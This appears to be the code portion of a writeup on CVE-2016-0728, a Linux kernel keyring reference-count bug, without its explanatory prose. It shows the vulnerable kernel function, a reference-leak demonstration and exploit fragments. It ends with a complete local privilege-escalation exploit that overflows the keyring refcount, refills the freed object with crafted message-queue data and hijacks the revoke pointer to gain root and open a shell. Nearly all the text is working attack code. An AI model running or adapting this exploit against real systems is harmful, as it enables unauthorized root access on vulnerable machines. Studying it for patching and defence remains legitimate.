long join_session_keyring(const char *name)
{
 ...
       new = prepare_creds();
 ...
       keyring = find_keyring_by_name(name, false); //find_keyring_by_name increments  keyring->usage if a keyring was found
       if (PTR_ERR(keyring) == -ENOKEY) {
               /* not found - try and create a new one */
               keyring = keyring_alloc(
                       name, old->uid, old->gid, old,
                       KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
                       KEY_ALLOC_IN_QUOTA, NULL);
               if (IS_ERR(keyring)) {
                       ret = PTR_ERR(keyring);
                       goto error2;
               }
       } else if (IS_ERR(keyring)) {
               ret = PTR_ERR(keyring);
               goto error2;
       } else if (keyring == new->session_keyring) {
               ret = 0;
               goto error2; //<-- The bug is here, skips key_put.
       }

       /* we've got a keyring - now install it */
       ret = install_session_keyring_to_cred(new, keyring);
       if (ret < 0)                goto error2;        commit_creds(new);        mutex_unlock(&key_session_mutex);        ret = keyring->serial;
       key_put(keyring);
okay:
       return ret;

error2:
       mutex_unlock(&key_session_mutex);
error:
       abort_creds(new);
       return ret;
}

/* $ gcc leak.c -o leak -lkeyutils -Wall */
/* $ ./leak */
/* $ cat /proc/keys */

#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>

int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }

    return 0;
}

if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
    perror("msgget");
    exit(1);
}
for (i = 0; i < 64; i++) {
    if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
        perror("msgsnd");
        exit(1);
    }
}

void key_revoke(struct key *key)
{
       . . .
       if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&
           key->type->revoke)
               key->type->revoke(key);
       . . .
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

struct key_type_s {
    void * [12] padding;
    void * revoke;
} type;

_commit_creds commit_creds = 0xffffffff81094250;
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550;

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
    ...
    struct key_type * my_key_type = NULL;
    ...
    my_key_type = malloc(sizeof(*my_key_type));
    my_key_type->revoke = (void*)userspace_revoke;
    ...
}

</pre>
<pre class="prettyprint lang-cpp prettyprinted">/* https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f */
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)

struct key_type {
 char * name;
 size_t datalen;
 void * vet_description;
 void * preparse;
 void * free_preparse;
 void * instantiate;
 void * update;
 void * match_preparse;
 void * match_free;
 void * revoke;
 void * destroy;
};

void userspace_revoke(void * key) {
 commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
 const char *keyring_name;
 size_t i = 0;
 unsigned long int l = 0x100000000/2;
 key_serial_t serial = -1;
 pid_t pid = -1;
 struct key_type * my_key_type = NULL;

struct { long mtype;
 char mtext[STRUCT_LEN];
 } msg = {0x4141414141414141, {0}};
 int msqid;

 if (argc != 2) {
 puts("usage: ./keys <key_name>");
 return 1;
 }

 printf("uid=%d, euid=%d\n", getuid(), geteuid());
 commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
 prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;

 my_key_type = malloc(sizeof(*my_key_type));

 my_key_type->revoke = (void*)userspace_revoke;
 memset(msg.mtext, 'A', sizeof(msg.mtext));

 // key->uid
 *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
 //key->perm
 *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

 //key->type
 *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

 if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
 perror("msgget");
 exit(1);
 }

 keyring_name = argv[1];

 /* Set the new session keyring before we start */

 serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
 if (serial < 0) {
 perror("keyctl");
 return -1;
 }

 if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
 perror("keyctl");
 return -1;
 }

 puts("Increfing...");
 for (i = 1; i < 0xfffffffd; i++) {
 if (i == (0xffffffff - l)) {
 l = l/2;
 sleep(5);
 }
 if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
 perror("keyctl");
 return -1;
 }
 }
 sleep(5);
 /* here we are going to leak the last references to overflow */
 for (i=0; i<5; ++i) {
 if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
 perror("keyctl");
 return -1;
 }
 }

 puts("finished increfing");
 puts("forking...");
 /* allocate msg struct in the kernel rewriting the freed keyring object */
 for (i=0; i<64; i++) {
 pid = fork();
 if (pid == -1) {
 perror("fork");
 return -1;
 }

 if (pid == 0) {
 sleep(2);
 if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
 perror("msgget");
 exit(1);
 }
 for (i = 0; i < 64; i++) {
 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
 perror("msgsnd");
 exit(1);
 }
 }
 sleep(-1);
 exit(1);
 }
 }

 puts("finished forking");
 sleep(5);

 /* call userspace_revoke from kernel */
 puts("caling revoke...");
 if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
 perror("keyctl_revoke");
 }

 printf("uid=%d, euid=%d\n", getuid(), geteuid());
 execl("/bin/sh", "/bin/sh", NULL);

 return 0;
}</pre>
<pre>